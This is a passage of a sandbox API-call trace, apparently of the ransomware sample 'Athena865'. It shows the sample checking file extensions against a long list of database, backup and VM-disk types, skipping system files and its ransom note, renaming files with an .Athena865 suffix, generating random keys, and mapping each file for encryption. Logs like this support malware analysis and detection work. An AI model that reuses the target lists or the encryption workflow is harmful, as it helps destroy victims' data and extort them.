3 [0129.275] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0129.275] lstrlenW (lpString="marshal") returned 7 [0129.275] lstrcmpiW (lpString1="629.WMF", lpString2="marshal") returned -1 [0129.275] lstrlenW (lpString="mas") returned 3 [0129.275] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0129.275] lstrlenW (lpString="mav") returned 3 [0129.275] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0129.275] lstrlenW (lpString="maw") returned 3 [0129.275] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0129.275] lstrlenW (lpString="mdbhtml") returned 7 [0129.275] lstrcmpiW (lpString1="629.WMF", lpString2="mdbhtml") returned -1 [0129.275] lstrlenW (lpString="mdn") returned 3 [0129.275] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0129.275] lstrlenW (lpString="mdt") returned 3 [0129.275] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0129.275] lstrlenW (lpString="mfd") returned 3 [0129.275] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0129.275] lstrlenW (lpString="mpd") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0129.276] lstrlenW (lpString="mrg") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0129.276] lstrlenW (lpString="mud") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0129.276] lstrlenW (lpString="mwb") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0129.276] lstrlenW (lpString="myd") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0129.276] lstrlenW (lpString="ndf") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0129.276] lstrlenW (lpString="nnt") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0129.276] lstrlenW (lpString="nrmlib") returned 6 [0129.276] lstrcmpiW (lpString1="29.WMF", lpString2="nrmlib") returned -1 [0129.276] lstrlenW (lpString="ns2") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0129.276] lstrlenW (lpString="ns3") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0129.276] lstrlenW (lpString="ns4") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0129.276] lstrlenW (lpString="nsf") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0129.276] lstrlenW (lpString="nv") returned 2 [0129.276] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0129.276] lstrlenW (lpString="nv2") returned 3 [0129.276] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0129.277] lstrlenW (lpString="nwdb") returned 4 [0129.277] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0129.277] lstrlenW (lpString="nyf") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0129.277] lstrlenW (lpString="odb") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.277] lstrlenW (lpString="odb") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.277] lstrlenW (lpString="oqy") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0129.277] lstrlenW (lpString="ora") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0129.277] lstrlenW (lpString="orx") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0129.277] lstrlenW (lpString="owc") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0129.277] lstrlenW (lpString="p96") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0129.277] lstrlenW (lpString="p97") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0129.277] lstrlenW (lpString="pan") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0129.277] lstrlenW (lpString="pdb") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0129.277] lstrlenW (lpString="pdm") returned 3 [0129.277] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0129.278] lstrlenW (lpString="pnz") returned 3 [0129.278] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0129.278] lstrlenW (lpString="qry") returned 3 [0129.278] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0129.278] lstrlenW (lpString="qvd") returned 3 [0129.278] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0129.278] lstrlenW (lpString="rbf") returned 3 [0129.278] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0129.278] lstrlenW (lpString="rctd") returned 4 [0129.278] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0129.278] lstrlenW (lpString="rod") returned 3 [0129.278] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0129.278] lstrlenW (lpString="rodx") returned 4 [0129.278] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0129.278] lstrlenW (lpString="rpd") returned 3 [0129.278] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0129.278] lstrlenW (lpString="rsd") returned 3 [0129.278] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0129.278] lstrlenW (lpString="sas7bdat") returned 8 [0129.278] lstrcmpiW (lpString1="2629.WMF", lpString2="sas7bdat") returned -1 [0129.278] lstrlenW (lpString="sbf") returned 3 [0129.278] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0129.278] lstrlenW (lpString="scx") returned 3 [0129.278] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0129.278] lstrlenW (lpString="sdb") returned 3 [0129.278] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0129.279] lstrlenW (lpString="sdc") returned 3 [0129.279] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0129.279] lstrlenW (lpString="sdf") returned 3 [0129.279] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0129.279] lstrlenW (lpString="sis") returned 3 [0129.279] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0129.279] lstrlenW (lpString="spq") returned 3 [0129.279] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0129.279] lstrlenW (lpString="te") returned 2 [0129.279] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0129.279] lstrlenW (lpString="teacher") returned 7 [0129.279] lstrcmpiW (lpString1="629.WMF", lpString2="teacher") returned -1 [0129.279] lstrlenW (lpString="tmd") returned 3 [0129.279] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0129.279] lstrlenW (lpString="tps") returned 3 [0129.279] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0129.279] lstrlenW (lpString="trc") returned 3 [0129.279] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.279] lstrlenW (lpString="trc") returned 3 [0129.279] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.279] lstrlenW (lpString="trm") returned 3 [0129.279] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0129.279] lstrlenW (lpString="udb") returned 3 [0129.279] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0129.279] lstrlenW (lpString="udl") returned 3 [0129.279] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0129.279] lstrlenW (lpString="usr") returned 3 [0129.280] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0129.280] lstrlenW (lpString="v12") returned 3 [0129.280] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0129.280] lstrlenW (lpString="vis") returned 3 [0129.280] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0129.280] lstrlenW (lpString="vpd") returned 3 [0129.280] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0129.280] lstrlenW (lpString="vvv") returned 3 [0129.280] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0129.280] lstrlenW (lpString="wdb") returned 3 [0129.280] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0129.280] lstrlenW (lpString="wmdb") returned 4 [0129.280] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0129.280] lstrlenW (lpString="wrk") returned 3 [0129.280] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0129.280] lstrlenW (lpString="xdb") returned 3 [0129.280] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0129.280] lstrlenW (lpString="xld") returned 3 [0129.280] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0129.280] lstrlenW (lpString="xmlff") returned 5 [0129.280] lstrcmpiW (lpString1="9.WMF", lpString2="xmlff") returned -1 [0129.280] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.Athena865") returned 73 [0129.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.athena865"), dwFlags=0x1) returned 1 [0129.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.282] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2786) returned 1 [0129.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.283] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.283] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.283] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.284] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf0, lpName=0x0) returned 0x154 [0129.287] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf0) returned 0x100000 [0129.290] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.292] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.293] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.296] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.297] CloseHandle (hObject=0x154) returned 1 [0129.297] CloseHandle (hObject=0x17c) returned 1 [0129.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.299] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1 [0129.299] lstrcmpiW (lpString1="J0252669.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.299] lstrcmpiW (lpString1="J0252669.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.299] lstrcmpiW (lpString1="J0252669.WMF", lpString2=".") returned 1 [0129.299] lstrcmpiW (lpString1="J0252669.WMF", lpString2="..") returned 1 [0129.299] lstrcmpiW (lpString1="J0252669.WMF", lpString2="windows") returned -1 [0129.299] lstrcmpiW (lpString1="J0252669.WMF", lpString2="bootmgr") returned 1 [0129.300] lstrcmpiW (lpString1="J0252669.WMF", lpString2="temp") returned -1 [0129.300] lstrcmpiW (lpString1="J0252669.WMF", lpString2="pagefile.sys") returned -1 [0129.300] lstrcmpiW (lpString1="J0252669.WMF", lpString2="boot") returned 1 [0129.300] lstrcmpiW (lpString1="J0252669.WMF", lpString2="ids.txt") returned 1 [0129.300] lstrcmpiW (lpString1="J0252669.WMF", lpString2="ntuser.dat") returned -1 [0129.300] lstrcmpiW (lpString1="J0252669.WMF", lpString2="perflogs") returned -1 [0129.300] lstrcmpiW (lpString1="J0252669.WMF", lpString2="MSBuild") returned -1 [0129.300] lstrlenW (lpString="J0252669.WMF") returned 12 [0129.300] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0252669.WMF" | out: lpString1="J0252669.WMF") returned="J0252669.WMF" [0129.300] lstrlenW (lpString="J0252669.WMF") returned 12 [0129.300] lstrlenW (lpString="Athena865") returned 9 [0129.300] lstrcmpiW (lpString1="52669.WMF", lpString2="Athena865") returned -1 [0129.300] lstrlenW (lpString=".dll") returned 4 [0129.300] lstrcmpiW (lpString1="J0252669.WMF", lpString2=".dll") returned 1 [0129.300] lstrlenW (lpString=".lnk") returned 4 [0129.300] lstrcmpiW (lpString1="J0252669.WMF", lpString2=".lnk") returned 1 [0129.300] lstrlenW (lpString=".ini") returned 4 [0129.300] lstrcmpiW (lpString1="J0252669.WMF", lpString2=".ini") returned 1 [0129.300] lstrlenW (lpString=".sys") returned 4 [0129.300] lstrcmpiW (lpString1="J0252669.WMF", lpString2=".sys") returned 1 [0129.300] lstrlenW (lpString="J0252669.WMF") returned 12 [0129.300] lstrlenW (lpString="bak") returned 3 [0129.300] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.300] lstrlenW (lpString="ba_") returned 3 [0129.300] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.301] lstrlenW (lpString="dbb") returned 3 [0129.301] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.301] lstrlenW (lpString="vmdk") returned 4 [0129.301] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.301] lstrlenW (lpString="rar") returned 3 [0129.301] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.301] lstrlenW (lpString="zip") returned 3 [0129.301] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.301] lstrlenW (lpString="tgz") returned 3 [0129.301] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.301] lstrlenW (lpString="vbox") returned 4 [0129.301] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.301] lstrlenW (lpString="vdi") returned 3 [0129.301] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.301] lstrlenW (lpString="vhd") returned 3 [0129.301] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.301] lstrlenW (lpString="vhdx") returned 4 [0129.301] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.301] lstrlenW (lpString="avhd") returned 4 [0129.301] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.301] lstrlenW (lpString="db") returned 2 [0129.301] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.301] lstrlenW (lpString="db2") returned 3 [0129.301] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.301] lstrlenW (lpString="db3") returned 3 [0129.301] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.301] lstrlenW (lpString="dbf") returned 3 [0129.302] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.302] lstrlenW (lpString="mdf") returned 3 [0129.302] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.302] lstrlenW (lpString="mdb") returned 3 [0129.302] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.302] lstrlenW (lpString="sql") returned 3 [0129.302] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.302] lstrlenW (lpString="sqlite") returned 6 [0129.302] lstrcmpiW (lpString1="69.WMF", lpString2="sqlite") returned -1 [0129.302] lstrlenW (lpString="sqlite3") returned 7 [0129.302] lstrcmpiW (lpString1="669.WMF", lpString2="sqlite3") returned -1 [0129.302] lstrlenW (lpString="sqlitedb") returned 8 [0129.302] lstrcmpiW (lpString1="2669.WMF", lpString2="sqlitedb") returned -1 [0129.302] lstrlenW (lpString="xml") returned 3 [0129.302] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.302] lstrlenW (lpString="$er") returned 3 [0129.302] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.302] lstrlenW (lpString="4dd") returned 3 [0129.302] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.302] lstrlenW (lpString="4dl") returned 3 [0129.302] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.302] lstrlenW (lpString="^^^") returned 3 [0129.302] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.302] lstrlenW (lpString="abs") returned 3 [0129.302] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.303] lstrlenW (lpString="abx") returned 3 [0129.303] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.303] lstrlenW (lpString="accdb") returned 5 [0129.303] lstrcmpiW (lpString1="9.WMF", lpString2="accdb") returned -1 [0129.303] lstrlenW (lpString="accdc") returned 5 [0129.303] lstrcmpiW (lpString1="9.WMF", lpString2="accdc") returned -1 [0129.303] lstrlenW (lpString="accde") returned 5 [0129.303] lstrcmpiW (lpString1="9.WMF", lpString2="accde") returned -1 [0129.303] lstrlenW (lpString="accdr") returned 5 [0129.303] lstrcmpiW (lpString1="9.WMF", lpString2="accdr") returned -1 [0129.303] lstrlenW (lpString="accdt") returned 5 [0129.303] lstrcmpiW (lpString1="9.WMF", lpString2="accdt") returned -1 [0129.303] lstrlenW (lpString="accdw") returned 5 [0129.303] lstrcmpiW (lpString1="9.WMF", lpString2="accdw") returned -1 [0129.303] lstrlenW (lpString="accft") returned 5 [0129.303] lstrcmpiW (lpString1="9.WMF", lpString2="accft") returned -1 [0129.303] lstrlenW (lpString="adb") returned 3 [0129.303] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.303] lstrlenW (lpString="adb") returned 3 [0129.303] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.303] lstrlenW (lpString="ade") returned 3 [0129.303] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.303] lstrlenW (lpString="adf") returned 3 [0129.303] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.303] lstrlenW (lpString="adn") returned 3 [0129.303] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.304] lstrlenW (lpString="adp") returned 3 [0129.304] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.304] lstrlenW (lpString="alf") returned 3 [0129.304] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.304] lstrlenW (lpString="ask") returned 3 [0129.304] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.304] lstrlenW (lpString="btr") returned 3 [0129.304] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.304] lstrlenW (lpString="cat") returned 3 [0129.304] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.304] lstrlenW (lpString="cdb") returned 3 [0129.304] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.304] lstrlenW (lpString="ckp") returned 3 [0129.304] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.304] lstrlenW (lpString="cma") returned 3 [0129.304] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.304] lstrlenW (lpString="cpd") returned 3 [0129.304] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.304] lstrlenW (lpString="dacpac") returned 6 [0129.304] lstrcmpiW (lpString1="69.WMF", lpString2="dacpac") returned -1 [0129.304] lstrlenW (lpString="dad") returned 3 [0129.304] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.304] lstrlenW (lpString="dadiagrams") returned 10 [0129.304] lstrcmpiW (lpString1="252669.WMF", lpString2="dadiagrams") returned -1 [0129.304] lstrlenW (lpString="daschema") returned 8 [0129.304] lstrcmpiW (lpString1="2669.WMF", lpString2="daschema") returned -1 [0129.305] lstrlenW (lpString="db-journal") returned 10 [0129.305] lstrcmpiW (lpString1="252669.WMF", lpString2="db-journal") returned -1 [0129.305] lstrlenW (lpString="db-shm") returned 6 [0129.305] lstrcmpiW (lpString1="69.WMF", lpString2="db-shm") returned -1 [0129.305] lstrlenW (lpString="db-wal") returned 6 [0129.305] lstrcmpiW (lpString1="69.WMF", lpString2="db-wal") returned -1 [0129.305] lstrlenW (lpString="dbc") returned 3 [0129.305] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.305] lstrlenW (lpString="dbs") returned 3 [0129.305] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.305] lstrlenW (lpString="dbt") returned 3 [0129.305] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.305] lstrlenW (lpString="dbv") returned 3 [0129.305] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.305] lstrlenW (lpString="dbx") returned 3 [0129.305] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.305] lstrlenW (lpString="dcb") returned 3 [0129.305] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.305] lstrlenW (lpString="dct") returned 3 [0129.305] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.305] lstrlenW (lpString="dcx") returned 3 [0129.305] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0129.305] lstrlenW (lpString="ddl") returned 3 [0129.305] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0129.305] lstrlenW (lpString="dlis") returned 4 [0129.305] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0129.306] lstrlenW (lpString="dp1") returned 3 [0129.306] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0129.306] lstrlenW (lpString="dqy") returned 3 [0129.306] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0129.306] lstrlenW (lpString="dsk") returned 3 [0129.306] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0129.306] lstrlenW (lpString="dsn") returned 3 [0129.306] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0129.306] lstrlenW (lpString="dtsx") returned 4 [0129.306] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0129.306] lstrlenW (lpString="dxl") returned 3 [0129.306] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0129.306] lstrlenW (lpString="eco") returned 3 [0129.306] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0129.306] lstrlenW (lpString="ecx") returned 3 [0129.306] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0129.306] lstrlenW (lpString="edb") returned 3 [0129.306] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0129.306] lstrlenW (lpString="epim") returned 4 [0129.306] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0129.306] lstrlenW (lpString="fcd") returned 3 [0129.306] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0129.306] lstrlenW (lpString="fdb") returned 3 [0129.306] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0129.306] lstrlenW (lpString="fic") returned 3 [0129.307] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0129.307] lstrlenW (lpString="flexolibrary") returned 12 [0129.307] lstrlenW (lpString="fm5") returned 3 [0129.307] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0129.307] lstrlenW (lpString="fmp") returned 3 [0129.307] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0129.307] lstrlenW (lpString="fmp12") returned 5 [0129.307] lstrcmpiW (lpString1="9.WMF", lpString2="fmp12") returned -1 [0129.307] lstrlenW (lpString="fmpsl") returned 5 [0129.307] lstrcmpiW (lpString1="9.WMF", lpString2="fmpsl") returned -1 [0129.307] lstrlenW (lpString="fol") returned 3 [0129.307] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0129.307] lstrlenW (lpString="fp3") returned 3 [0129.307] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0129.307] lstrlenW (lpString="fp4") returned 3 [0129.307] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0129.307] lstrlenW (lpString="fp5") returned 3 [0129.307] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0129.307] lstrlenW (lpString="fp7") returned 3 [0129.307] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0129.307] lstrlenW (lpString="fpt") returned 3 [0129.307] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0129.307] lstrlenW (lpString="frm") returned 3 [0129.307] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0129.307] lstrlenW (lpString="gdb") returned 3 [0129.308] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.308] lstrlenW (lpString="gdb") returned 3 [0129.308] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.308] lstrlenW (lpString="grdb") returned 4 [0129.308] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0129.308] lstrlenW (lpString="gwi") returned 3 [0129.308] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0129.308] lstrlenW (lpString="hdb") returned 3 [0129.308] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0129.308] lstrlenW (lpString="his") returned 3 [0129.308] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0129.308] lstrlenW (lpString="ib") returned 2 [0129.308] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0129.308] lstrlenW (lpString="idb") returned 3 [0129.308] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0129.308] lstrlenW (lpString="ihx") returned 3 [0129.308] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0129.308] lstrlenW (lpString="itdb") returned 4 [0129.308] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0129.308] lstrlenW (lpString="itw") returned 3 [0129.308] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0129.308] lstrlenW (lpString="jet") returned 3 [0129.308] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0129.308] lstrlenW 